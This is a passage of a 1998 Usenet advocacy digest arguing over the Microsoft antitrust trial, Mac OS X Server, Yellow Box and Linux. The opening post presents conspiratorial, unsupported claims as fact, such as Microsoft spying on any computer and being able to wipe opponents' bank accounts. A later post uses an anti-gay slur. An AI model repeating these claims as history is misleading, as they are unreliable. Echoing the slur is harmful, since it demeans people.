interests, not in the best interests of their customers, and often not even
in the best interest of their stockholders.
In the Windows 95 trial, the DOJ only went after Microsoft for illegally
bundling applications (the browser) with it's operating system. Microsoft
claimed that the browser was merely an "extension" of it's operating system,
similar to FTP, Telnet, or other TCP/IP applications. Microsoft then turned
around and released IE 4.0, as "Bundleware" complete with ActiveX extensions
intended to give Microsoft total control over all media formats. Without
a strong competitor such as Netscape, Microsoft would eventually force the
web sites to convert to "Office" and gain total control over the internet.
To make matters worse, hackers, suspicious of Microsoft's new technology
began to discover huge security holes. Not only was the security
questionable, it actually gave Microsoft the ability to examine the contents
of any computer at any time (including President Clinton's computer) without
getting any permission or consent from the customer. Supposedly this was all
covered in a "blanket consent agreement" that came with MSN sign-on.
> as a result, they were
> required to make agreements that other companies wouldn't have had
> to make.
Not only had Microsoft forced competitors out of the business, subverted
the entire internet standards setting process (which traditionally required
a comprehensive specification sufficiently complete to allow a "reference
implementation in GPL source code"), but it had subverted legal and technology
standards which had been created to make the internet secure and safe.
Microsoft was not exactly the model of accountability in these matters. When
the "Tree of Evil" virus wiped out thousands of legally installed versions of
Word for Mac, along with the entire content of the hard drive, Microsoft used
it's license agreement as a blanket that absolved them from ALL liability.
The DOJ saw the potential for an international catastrophe, and went back
into court.
This time, rather than focusing on Microsoft's illegal bundling of the
Browser, the DOJ filed a much broader case, citing Microsoft for it's
"embrace and extend" tactics of exploiting public standards, using
proprietary technology to extract trade secrets from customers, and then form
partnerships with competitors willing to allow themselves to be sued into
bankrupty. The executives of these "shells" were then given cushy positions
and contracts with Microsoft.
> Violating those agreements is the primary reason the DOJ
> started going after them again.
Actually, that isn't the primary reason. The primary reason is that,
while investigating the "Browser Fiasco", the DOJ discovered a pattern
of racketeering, extortion, fraud, and vandalism that, when coupled with
Microsoft's ambitions of taking control of the world's banking and financial
services technologies constituted a clear and present threat of global scale
racketeering and even the possibility of Microsoft literally achieving true
"world domination". With the ability to literally wipe-out the bank accounts
of opponents, erase their identities, sabatoge their computers, or even
turn their computers, cell-phones, credit cards, and credit cards into
"bugging devices", and other "harassement tactics" that would make the KGB
and the SS seem clumsy and obtrusive, Bill Gates, or any of the extremely
ambitious and less benevolent leutenants could make Hitler and Stalin look
like back-alley gangsters.
Ironically, the publicity of the Microsoft trial, combined with the remarkable
origin of Linux, has enabled Linux to rapidly establish a "beach-head" against
the Microsoft forces, with July 18th being "D-DAY" for Linux (When Linus
directed the Linux community to go after the Desktops and Laptops). As
more and more "Former Microsoft Partners" begin to see Linux as the only
truly effective weapon in the arsenal, Linux is building momentum in
the Server arena, eroding the NT Server market as Linux climbs the walls
of Scalability that NT can't even find.
In less than 5 months, Linux has evolved from a "back room server" to a
formidable mission critical server and desktop machine as companies like
Sybase, Oracle, IBM, and Netscape publicly endorse Linux. The introduction
of KDE, GNOME, and upgraded Office Suites such as Corel WordPerfect8, Applix
Office 4.x, and StarOffice, all with the ability to import/export MS-Office
documents such as Word, PowerPoint, Excel, and Paint documents and turn them
into HTML, JPEG, GIF, and more usable spreadsheet documents that can be
augmented with "hot-cells", the landscape is rapidly changing.
More important, there is a stronger sense of cooperation as the industry
begins to unite behind open-source supported formats and allows value added
"user interfaces" to become the distinguishing factor in a market where
diversity and user preferences are honored rather catering to some sort
of "lowest common denominator" that seems to take up gigabytes of memory
and terrabytes of disk to produce an interface that is slow, manual,
repetitive, and only suitable for mindless manual "cut and paste and button
clicking".
> The browser issue is just one part of it.
A very small part of it.
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 24 Dec 1998 03:15:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <75sbl7$esv$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
<75m9mr$6n6$1@nnrp03.primenet.com> <367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com> <367ffd0f.0@stan.astra.co.uk> <75p4i4$q9v$1@nnrp03.primenet.com> <3680ba18.0@stan.astra.co.uk> <75r2cr$9h0$1@nnrp03.primenet.com>
<367E6FFD.61909F8@lkba.com>
Larry Blische <larry@lkba.com> wrote:
: John Jensen wrote:
: > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: > : I expect MacOS X usage to be closer to *STEP than to Macintosh, in that
: > : there is more likely to be a central fileserver vending applications.
: > : If Apple release Intel and PPC versions of MacOS X then I'd expect dual
: > : binary versions of apps to be installed on the servers, to that
: > : operation is transparent to users whichever architecture they are using.
: >
: > To be honest I find this unlikely to become a common architecture. I
: > think most Macs sold in the US go to home users. Most homes do not have
: > fileservers.
: Do you think that Apple should try to play in the company enterprise
: arena? Or simply cater to the home market with offerings like the iMac?
: The nice thing about the *STEP multi-architecture binary solution is
: that it works well in both. And will continue to do so with the advent
: of future new architectures.
Oh, I'll buy that for a dollar.
What I wouldn't want would be for people to say:
1. *step technologies are best
2. *step technologies do not match typical end-user practices
3. end-users should change their practices
That sounds too much like the old "we're right and everybody should change
to match us" that Apple knew so well.
If the success of your product depends convincing everybody that they're
wrong, you're dead meat.
If you can say "you're right, and here's the product to help you do
that", you're home free.
John
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Wed, 23 Dec 1998 19:25:00 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net> <slrn77vu0d.6kl.jedi@dementia.mishnet>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2312981925010001@1cust90.tnt5.redmond.wa.da.uu.net>
> Apple simply has no market to 'give away' any more.
False. Apple has a huge installed base(that dwarfs Linux.) WebObjects
is now Apple's largest software revenue source, which comes from the
Enterprise markets. And the iMac is the #1 selling computer out there
(which comes as a great surprise to me, as I had personally doubted
their ability to sustain the numbers. You can see my posts on macosx-talk,
where I quite extensively question the initial success if you doubt me.)
>
> It no longer has the leeway that can allow it to be as
> isolationist and pompous as it has in the past.
So they must surrendor to the forces of Linux? Please. I think
Maury Markowitz made a point somewhere regarding NewApple/OldApple.
If anything, all these *demands* that Linux advocates are placing to
Apple are an admission of Linux's faults and failings. Just today
I received the new InternetWeek that gave Linux a "cool" award. Funny
thing is that the screen shot they put next to the article, which
has the caption "Shown here is Red Hat Software's Linux 5.2," is a
screen grab of GNUStep. "It's so hot, it's cool."
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 23 Dec 1998 19:34:27 -0800
References: <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this> <1dkgf6y.180kyaa1fai800N@roxboro0-017.dyn.interpath.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2312981934280001@1cust90.tnt5.redmond.wa.da.uu.net>
>> "a framework for vaporware"? What does that mean?
>
>It means that the next generation macintosh OS is yet to be delivered.
>
I can use the framework *today* to create Applications for Solaris,
HP/UX, and Win*. You have the mistaken assumption that "macintosh"
is the *only* market that Apple wants to sell their products into.
>> And why is the fate of any "future market" uncertain? Just two weeks ago
>> Jobs publicly commited to the technology. What's so "uncertain?"
>
>Jobs can "commit" to anything he wants, but that doesn't mean jack.
>It's vaporware until it's delivered to the end users, and it's uncertain
>until it's been a huge success.
>
The technologies that make up OSX/S are also used to create WebObjects.
WebObjects is Apple's largest software revenue stream. More than MacOS.
Your "until it's been a huge success" requirement, sounds like a 'get out
of jail free' card to me.
--
regards : colin hand : mailto:ch3@earthlink.net
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Thu, 24 Dec 1998 14:40:29 +1100
Organization: OzEmail Ltd.
Message-ID: <75sd3d$17h$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <slrn77veq3.529.jedi@dementia.mishnet> <75paui$9oq$1@reader1.reader.news.ozemail.net> <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net>
ix@ix.ix wrote in message ...
>>>>>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>>>>>it could be put on top of Linux.
>
>OSX is already on BSD Unix. What is the significant difference between BSD and
>Linux other than hype?
I don't think that's the issue - you're right that the differences aren't important.
The issue would be Apple selling an OSX add on for Linux (eg RedHat).
Now if you want OSX on Intel, you don't have to worry about Apple supporting
your hardware, rather just that RedHat supports your hardware.
Greg
From: bike1man1@aol.com (Bike1Man1)
Newsgroups: comp.sys.next.advocacy
Subject: Re: the future of OS X server is bleak
Date: 23 Dec 1998 22:17:28 GMT
Organization: AOL http://www.aol.com
References: <ygclnk65r19.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
Message-ID: <19981223171728.15305.00000641@ng137.aol.com>
>George Graves <gmgraves@slip.net> wrote:
>: There aren't that many Yellow-Box apps (and won't be despite the fact
>: that the Yellow Box is a far better cross-platform development
>: environment than is Java) and the MacOS that they are saying OS-X server
>: will ship with is OS8.1
I aggree. Apple would be very smart if they made it so NeXTstep and OpENstep
Apps ran on Yellow Box. Even if they make a "Grey Box", that cost around 2.5K,
with 2 chips (one 68040).
Note that some NeXTsteppers, like me, have over 5K invested in NeXTstep
software. I will NOT risk another 5K on another platform that might be
discontinued.
Andrew@CFM.Brown.edu
Bike1Man1@aol.com
(401) 861-MATH
####################################################################
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 23 Dec 1998 19:35:24 -0800
References: <ngroups-0412980941310001@192.168.100.102> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this> <36803829.96A77B3A@klassy.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2312981935240001@1cust90.tnt5.redmond.wa.da.uu.net>
>
>Recall when Jobs "publicly commited" to the Newton?
Sorry, no. Can you point me to a link? Jobs *hated* the Newton
long before he found his way back to Apple.
--
regards : colin hand : mailto:ch3@earthlink.net
hese solutions tend to put Apple and it's
developers above the sanctity of Linux. I'm sorry if you don't see
the reason why.
--
regards : colin hand : mailto:ch3@earthlink.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 24 Dec 1998 04:05:47 GMT
Organization: Primenet (602)416-7000
Message-ID: <75seir$f9u$1@nnrp02.primenet.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net>
<ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net> <slrn77vu0d.6kl.jedi@dementia.mishnet> <ch3-2312981925010001@1cust90.tnt5.redmond.wa.da.uu.net>
c hand <ch3@earthlink.net.rem.ove.this> wrote:
: If anything, all these *demands* that Linux advocates are placing to
: Apple are an admission of Linux's faults and failings.
I don't think I've seen Linux advocates demand anything. Or is saying
that you might try something if it was available a demand?
Right now I'm happy with a pretty minimal GUI (icewm), and I expect I'll
like GNOME 1.0 (I've run some recent snapshots). What's to demand?
: Just today I received the new InternetWeek that gave Linux a "cool"
: award. Funny thing is that the screen shot they put next to the
: article, which has the caption "Shown here is Red Hat Software's Linux
: 5.2," is a screen grab of GNUStep. "It's so hot, it's cool."
I thought we were talking about Apple. Are they doing GNUStep now?
John
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Thu, 24 Dec 1998 16:28:41 +1100
Organization: OzEmail Ltd.
Message-ID: <75sje3$kvj$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <slrn77veq3.529.jedi@dementia.mishnet> <75paui$9oq$1@reader1.reader.news.ozemail.net> <36803384.7175DF0F@earthlink.net.rem.ove.this>
c hand wrote:
>Greg Alexander wrote:
>> To me the thing is what are plus & minuses for Apple <snip>
>> 1) People who left Mac for Linux will buy the Mac interface (best of both worlds)
>> [similar sales to that for MacOS 8.5 upgrade I'd guess]
>> 2) Some people willing to try MOSX will take Linux+Apple instead.
>
>Neither of these look to be "benefits" for Apple. Certainly not
>worth the engineering dollars or lost OSX/S sales it would mean.
That is right, #2 is a "minus"
#1 is harder to say. People who once used Mac but now use Linux would
be NEW customers for Apple - as would any existing Linux user who opts for
the Apple add-on.
#2 - People who would buy a Macintosh but instead buy Linux with the
add-on are the problem.
There is a #3 too - people who won't buy a Mac, but would go for the Mac
experience if it was on Intel (not good if there's a MOSX for Intel of course!)
Getting people using it is only an advantage to Apple if they ultimately
make some money out of it.
mmalcolm crawford wrote in message <3680df8a.0@stan.astra.co.uk>...
: I'd be interested to know exactly what you mean by "the Mac interface". Are
: you supposing that by installing YB on Linux you immediately get a complete
: Mac-style interface? Somehow I suspect that this would not be the case --
: vide YB/Windows, which adopts the UI "conventions" of Windows.
I think there's 2 different concepts - OSX on Linux, and YB on Linux.
To me, OSX on Linux would mean the key technologies of OSX, installed
on (say) Redhat Linux. That includes YB, Quicktime, the MacGUI, and Carbon.
Apple could sell that - just as they sell MacOS 8.x today. They could even
bundle with Redhat. The benefit to Apple in this case is sales. Benefit to
the people who buy it is the MacGUI, lots of applications, & Quicktime.
This DOES assume that it is easier for Apple to make OSX for Redhat,
Debian, Caldera etc than it is to support the same hardware they run on.
There is a possibility that Apple could give away some of its technology
to get marketshare, and pass the charge to the developers. If this is the
case I think it applies to YB & Quicktime - but not the GUI & Carbon.
: A difficulty for implementing YB/Linux -- which doesn't seem to have been
: addressed so far -- is the question of what UI would YB apps adopt, if any?
: One of the attractions of the Mac user interface is its consistency. With
: X-windows you have a choice of window managers, widgets etc. Is YB/Linux
: going to provide a wrapper over one of these, or provide yet another look and
: feel?
That's a good question. YB would have to be an X-client. Each X application is
programmed to one of several available looks (Motif etc). Apple could use an
existing one, but I think an Apple written client would be easier for them. Maybe an
appearance manager for YB is possible?
Merry Christmas!
Greg
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 17:38:34 +1100
Organization: OzEmail Ltd.
Message-ID: <75snh2$b3e$1@reader1.reader.news.ozemail.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk>
>> Tim Smith wrote:
>> :What I'd like to see is for Apple to get rid of MacOS as a stand-alone
>> :OS. Turn MacOS into MacOE ("Macintosh Operating Environment"),
>> :which would initially be available for Mac hardware running LinuxPPC.
I agree, that's basically what I meant. To me, that really means all the outer
layers of OSX - not just a "BlueBox". Essentially if someone walked past
they shouldn't realise that it's not a Mac.
mmalcolm crawford wrote in message <3680e299.0@stan.astra.co.uk>...
>So I'm again left looking for the business case for Apple to put this on top
>of Linux...?
What would be the difference between an MacOE on Redhat-Linux and
MOSX for Intel? AFAIK
For users:
1) Configuring new hardware would be harder.
2) The filesystem would be harder to use.
3) More hardware would work
For Apple:
1) Have to support and test on several Linuxes (and/or BSDs)
2) Don't have to worry about different hardware (except monitors)
3) Also sell to existing customers of the Linux & BSDs supported.
To me that makes MacOE on Linux better than MOSX Intel.
Of course, Apple doesn't think MOSX Intel is worthwhile... so the
Linux idea would have to be significantly better than that for them!
>I'm sorry if all my posts on this subject sound anti-Linux, they're really
>not intended that way, as I hope the above question makes clear. I'd love it
>if I were wrong and Apple found a way to make YB etc available on top of
>Linux -- it would expand the market for our apps and consulting services --
>however for now at least I can't see the commercial benefit for Apple, and
>without that I can't see it happening. Indeed, as I think Colin suggested
>elsewhere, in many respects McOX and Linux can be regarded as competitors...
I still think the key selling point will be all of TODAY's applications available.
YB would be added, as a way to get YB secretly installed on a lot of
desktops (ignoring licensing issues - they could also bundle it in Quicktime).
It solves the chicken-and-egg problem - people want Carbon & Quicktime
but they also get YB. Existing Mac developers get their apps on many platforms.
Since YB is everywhere, and a better way of programming, new developers
program to YB. Carbon & YB can coexist and both evolve. If people do
ignore one of them, it can be dropped (or merged into the other).
Also, YB and Quicktime could be provided separately (much cheaper, or free)
for the Linux or BSDs, as is done on Windows.
Merry Christmas
Greg
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com>
<415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost>
<74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost>
<74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost>
<74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost>
<751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>
<757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost>
<75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost>
<367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net>
<F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net>
<367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net>
<3680cd17.0@stan.astra.co.uk> <1dkhjje.15cy42r14hqxcdN@roxboro0-034.dyn.interpath.net>
Mime-Version: 1.0
Date: Wed, 23 Dec 1998 17:43:27 GMT
In <1dkhjje.15cy42r14hqxcdN@roxboro0-034.dyn.interpath.net> John Moreno
wrote:
> So why should they switch from one framework to another when they don't
> have any confidence that it will be around in a year?
Well if you don't feel YB will be around in a year, then you may as well
give up on what you have now as well. Any calamity that I can see that
would kill all of YB - being a central part of WO - would require Apple
going down with it. Note that this has nothing at all to do with the OS,
that's a totally different issue.
Still it all comes down to everyone believing that the "new Apple" is
_identical_ to the "old Apple". I see little reason to believe this is so.
> Apple's "key" technologies are simply things they want to promote today
> -- as soon as they flipflop again it would be dropped.
Again, that's a characteristic of the old Apple.
> Apple deciding not to drop support of an API or framework is hardly in
> the class of getting hit by an asteroid -- more along the lines of being
> in a fender bender (if you're a habitual drunk driver).
Old Apple.
Really, is everyone so burnt by the morons that used to run engineering
that you all believe there's absolutely no hope whatsoever that they have
changed even in the slightest?
Maury
From: "LA Bruin" <labruin@null.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 22 Dec 1998 23:55:05 -0800
Organization: Microsoft Corp.
Message-ID: <75sqjh$ucn@news.dns.microsoft.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net> <6%qc2.20198$q15.460161@news.san.rr.com>
Ed Deans. wrote in message <6%qc2.20198$q15.460161@news.san.rr.com>...
>Jim Polaski wrote in message ...
>>In article <3671fcae$0$226@nntp1.ba.best.com>, "Boris"
>><XXXboris@movil.comXXX> wrote:
>>
>>> >I don't think it matters who wins. By the very fact that theres an
>ongoing
>>> >trial, Microsoft has already modified their behaviour. The longer the
>trial
>>> >(and the appeals) go on, the greater the likelihood that some threat to
>>> >Microsofts empire will emerge that MS can't respond to in the usual
way.
>>> >Microsoft has the best technical talent in the industry. Where would
>>> >that threat emerge
>>> >from?
>>====
>>If that's the case, why has NT has so many security holes?
>>Why did M$ publically state that Win 98 fixed 3000 "Bugs" in 95...
>>
>>...competent, I suppose. Innovative, not!
>
>So you ignore his question and attack MS when you have no answer which is
>exactly why MS's position is not IBM's in the 80's and why I hope Justice
>prevails in its case.
>
>No upstart OS (or even BeOS, Mac OS X) or Office software (short of maybe
>giving it away a la Star Office) will break MS's hold anytime soon. Also
>Microsoft is ever expanding into other markets which just extends its
>influence.
>
>It essentially controls the hardware, the OS, the APIs, Office software,
>etc., etc. They're moving into interactive toys, high-speed net access
>(cable modem software, investments, etc.)
>
>What's next, MS-brand food? Oh wait, isn't there a MS-brand coffee now?
>
>--Ed.
Y'know Ed? If MS-brand coffee makes me more productive, somehow integrates
with my breakfast better, helps me develop better products, and is
competitively priced... bring on the friggin' MS-brand coffee.
And they'll be competing with other coffee brands. And if those other
coffee's fail to provide the same value as MS-coffee, screw them. This is a
capitalist society. I'm not in the business of supporting something "for
the betterment of society" or hypothesizing "how much better life would be
if Micro$oft" weren't around.
If Linux is better than Windows - great. Go out and buy it. If it doesn't
clearly demonstrate a better value than Windows, the hype will die, and
you'll have another friggin' BetaMax on your hands.
Until then, spend a little more time developing good applications for the OS
of your choice and spend a little less time declaring that "no one can
topple the so-called Microsoft monopoly". There are toomany start up
concepts that have that potential. (Java? Linux? BeOS? OS X? Who's next?)
From: Z1159 <z1159@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: The real cause of PC victory
Date: Thu, 24 Dec 1998 15:53:38 -0600
Organization: ICGNetcom
Message-ID: <3682B7E2.C36D8DB7@ix.netcom.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com>
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> > Not all monopolies violate the Sherman and Clayton acts. Microsoft's
> > near-complete monopoly of PC OS's could have been achieved (and largely was)
> > by the clever business tactic of licensing DOS to IBM, the dominant market
> > force at the time. Nothing wrong with that. (There *was* something wrong with
> > DOS being a bootleg of CP/M, but that's beside the point).
No,M$ did not "bootleg" CP/M.They bought a written-from-scratch "disk operating
system" which was similar to CP/M,but did not infringe on it.Digital Research
deserves no sympathy,they gouged the hell out of the market,and had there been
infringement there would have been legal action. CP/M was itself largely derived from
DEC system software,although again no actual code was copied.Further,IBM was hardly
the dominant force in "microcomputers" (as they were then).Mainframes,yes,and they
were big in certain industries with their midrange equipment,but the minicomputer
business was DEC and Wang and Data General and HP and all that.From the business
standpoint,the micros were a cheap alternative to a mini and terminals.No one took
IBM seriously as a micro vendor until it became apparent that the great unwashed
actually liked the IBM name,and felt bizarrely safe buying one for their business.I
recall home and hobby people eschewing the PC until the clones came out and the
appeal to one's sense of larceny afforded by buying a clone,and then taking home all
the software at work,made Amigas and Ataris and Apple IIs less attractive.The Mac was
overpriced as hell until sometime between the release of System 7 and the Power Mac
intro,so only trendies,art faegs,and dyslexics bought them for home use.
Date: Wed, 23 Dec 1998 13:48:49 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Message-ID: <joe.ragosta-2312981348490001@elk34.dol.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net> <slrn77vu0d.6kl.jedi@dementia.mishnet>
In article <slrn77vu0d.6kl.jedi@dementia.mishnet>, jedi@dementia.mishnet
() wrote:
> On Tue, 22 Dec 1998 09:17:12 -0800, c hand
<ch3@earthlink.net.rem.ove.this> wrote:
> >> They benefit considerably. Linux users are the market they
> >> lost becuase their machines were price competitive with new
> >> pickup trucks and not other microcomputer hardware.
> >
> >Really? You have some numbers to back this up? Or are you just
> >pulling this out of thin air? Wouldn't logic dictate that the
> >people they lost to other machines went to Windows. I hardly think
> >that the Linux croud are ex-Mac people.
>
> All the users I know personally and a great deal of the
> one's I know professionally only deal with WinTel as a
> matter of market driven realities.
Which "reality" is that?
Your inability to differentiate between quality and popularity?
--
Regards,
Joe Ragosta
From: "Boris" <borisspamno@pleasemovil.com>
